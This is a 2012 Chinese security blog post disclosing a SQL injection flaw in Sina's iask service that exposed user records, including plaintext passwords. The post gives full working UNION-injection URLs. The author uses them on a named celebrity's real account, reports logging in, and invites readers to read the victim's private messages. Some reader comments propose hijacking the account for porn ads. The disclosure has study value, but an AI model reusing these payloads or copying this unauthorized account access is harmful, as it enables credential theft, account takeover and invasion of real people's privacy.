游侠安全网--张百川(网路游侠)的博客

张百川(网路游侠,www.youxia.org)专注:网络安全、系统安全、应用安全、数据库安全、运维安全.

导航

« 信息安全的三个非技术“关键词”来个猛点的:攻击modem和路由器的蠕虫--Psyb0t »

2012年新浪微博用户密码泄露漏洞(图片解析)

相关厂商:www.sina.com
作者:http://weibo.com/evilniang
发现时间:2012-1-1
漏洞类型:sql注射
危害等级:高
漏洞状态:已修复

首先申明:该漏洞发现后本人已联系新浪官方修复漏洞,目前漏洞以修补。文章内容公布,仅供参考学习。

新浪网iask存在sql注射漏洞,利用漏洞可读取iask数据库内内容。包括明文密码在内的7000多W新浪用户信息。

漏洞存在点: http://iask.sina.com.cn//prize/event_getorderlist.php?id=999999.9

漏洞利用方式:

http://iask.sina.com.cn/prize/event_getorderlist.php?id=999999.9+UNION+ALL+SELECT+%28SELECT+concat%280x5e24,user.uid,0x7c,user.email,0x7c,user.login,0x7c,user.passwd,0x245e%29+FROM+%60whatis%60.user+where+uid=1303977362+LIMIT+0,1%29,2,3,4,5,6,7,8,9,10,11--

这里我们通过构造数据库查询语句获得用户uid=1303977362的uid、login、email、passwd等信息。通过修改字段还可以获取其他信息 。

直接举个例子比如我们通过新浪微波查找到刘谦,点击他的个人资料。我们可以再浏览器地址栏处看到刘谦的uid(新浪用户数字id),此处uid为12715428867



直接构造地址

http://iask.sina.com.cn/prize/event_getorderlist.php?id=999999.9+UNION+ALL+SELECT+%28SELECT+concat%280x5e24,user.uid,0x7c,user.email,0x7c,user.login,0x7c,user.passwd,0x245e%29+FROM+%60whatis%60.user+where+uid=12715428867+LIMIT+0,1%29,2,3,4,5,6,7,8,9,10,11--

直接获得刘谦的账号和密码



这里账号是luchenmagic密码为2lo*****(保密)

尝试登陆



成功登陆。刘谦微薄。这里你可以看看你的偶像的各种私信,聊天记录之类的。

接下来的事情你可以自由发挥了。但是对于一个黑客而言,这只不过是一个开始而已(这里我并无恶意,拿刘谦的账号来测试只是为了致敬,希望有机会能够见证奇迹!)。

后话:

1.2011年年底的csdn、天涯等用户库的泄露只不过是冰山一脚。

2.新浪在csdn、天涯等用户库泄露后申称新浪数据库并没有泄露,而且密码是密文保存。这里要提出质疑了,数据库密码明明是明文保存。至少iask中大部分用户是明文保存密码(部分用户查不到密码)。至于用户信息是否泄露,这个不用说了把?

3.网络泄密涉及到太多。不管是普通网民,还是明星名人,都被牵涉进来。这里测试不少明星,基本上都能通过微薄获取他们的私人信息,甚至登陆他们的msn。(香港爆料杂志来找我把。开个玩笑。。。)

4.这个漏洞发现后我便通知了新浪官方,新浪在漏洞反馈和应急处理这方面做的不够快。收到漏洞后连给我回个邮件或者表示感谢都没有。(我是无私奉献白帽子,被活雷锋了。)

5.祝新年快乐。
----------------------------------------------------
游侠补充:
  刚从流量统计系统看到阅读者暴增,原来是文中例子的主角刘谦先生在微博发了一条……好吧:这个事情,仅仅是刘谦先生的粉丝在做个安全测试,并无恶意。我们都喜欢刘先生的魔术。
  谢谢刘谦先生给我博客打广告……来西安我请你吃肉夹馍、羊肉泡馍——管饱! :)
  另:文章是新浪打了补丁之后作者才发出来的,看到本文的时候还想测试的话……晚了。嘿嘿
  • quote 23.literge
  • 晕了,微博又泄了,下一个又会是谁啊?
  • 2012-01-07 21:05:42
  • quote 22.网路游侠
  • http://www.youxia.org
  • 股东之一:安全的范围很大,作为防守者,要看好全城,但是攻城的,只需要一个漏洞就可以了。攻守之间,不平等。呵呵。刘谦下次到西安回去看。哈。不过这个漏洞是兄弟发现的,我只是转载。
  • 2012-01-06 21:26:52
  • quote 21.股东之一
  • http://191071.qzone.qq.com
  • 如果我是sina,我会聘你为安全顾问,
    但是新浪负责微博的技术部为了隐瞒他们的失职是不会上报问题的,只为悄悄解决想掩盖下去的


    另外说一句,以前刘谦没出大名前(春晚前)去过几次西安做演出的(南门德福巷那)
  • 2012-01-06 20:50:31
  • quote 20.墨者
  • http://Null
  • 程序员认为自己的安全做的够好 等各方面认为 安全吧。。其实有的人没爆这个洞。。
  • 2012-01-06 18:11:42
  • quote 18.dhv
  • http://dhv.cc
  • 明文存储 很奇怪
    多年前,我就职的一家外企
    其中一家是美国时代广场xxx(略),密码也是明文的
    当时我就奇怪为什么明文,多不安全啊.但系统过于庞大,修改成密文是浩大的工程,所以也就不了了之,继续明文了---估计是系统最初就没有密文,导致后来滚雪球,越滚越大,最后...
  • 2012-01-06 11:47:11
  • quote 17.膜拜偶像
  • 求果照!黑客都长什么样啊!!!
  • 2012-01-06 08:11:27
  • quote 14.风气故香
  • 一直都觉得你们这个圈很神秘啊,现在感觉更神了,。。。。
  • 2012-01-05 15:48:14
  • quote 13.test
  • 您应该在文章中描述您是如何发现这个注入漏洞,以及这个注入串是如何工作的。不然,这篇文章没什么意思。
  • 2012-01-05 14:05:53
  • quote 12.爱微博客
  • 新浪的技术是几个门户中最差的~
  • 2012-01-05 13:08:06
  • quote 11.jerrychan
  • 请问你是怎么知道数据库的表名和字段名的?你没那么简单,就这么轻易知道表结构。
  • 2012-01-05 12:34:41
  • quote 9.beef
  • 大侠,能否为菜鸟详细讲解一下那个注入的url?大概的能看懂,但是细节就不清楚了,比如那个union all 还有LIMIT+0,1%29,2,3,4,5,6,7,8,9,10,11--
    后面跟一堆数字的原因,包括0x7c是。。。能否分享一下你破解的思路?另外,你是怎么找到(或者为什么要用) prize/event_getorderlist.php 这个地址?
  • 2012-01-05 11:43:53
  • quote 8.xxxx
  • http://xx
  • 应该拿刘的微薄发几个黄SE网站.打几个广告.这快过年的.年货的钱就到了!可惜被博主公开了.泥玛的.BUG给了SINA他也不意思下.当初应该用明星微薄发几条广告啥的.那才轰动起来!看来我的CCTV那个注射不能乱搞了.
  • 2012-01-05 11:31:01
  • quote 7.saga
  • 这只是冰山一角,类似的问题应该还是存在的,建议游侠哥好好在测试一些url,没准又能黑盒到一个。
  • 2012-01-05 00:18:15
  • quote 6.nich
  • 又是坑爹的明文
  • 2012-01-05 00:04:42
  • quote 4.xiongdd
  • 是爱问还是微博的用户?
  • 2012-01-04 22:06:36
  • quote 2.hotmonkey
  • 好吧·· 又是明文直接存数据库·· 连MD5都省了··
  • 2012-01-04 21:45:51
  • quote 1.F2007
  • 刚才试了一下,貌似被封了?我没有试成功
  • 2012-01-04 21:11:19

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Tags

站内搜索-Search

  • 找不到需要的?搜下试试!

日历

最近发表

产品推广

  • 广告位招租,有意者联系:
  • 张先生 电话:15339230081
  • QQ:175589438、55984512

最新评论及回复

Powered By Z-Blog 1.8 Walle Build 91204 Using ThinkTwice Theme Designed By Sino Blog

Auto Publisher Copyright 2005-2012 游侠安全网(Www.YouXia.Org)陕ICP备05000100号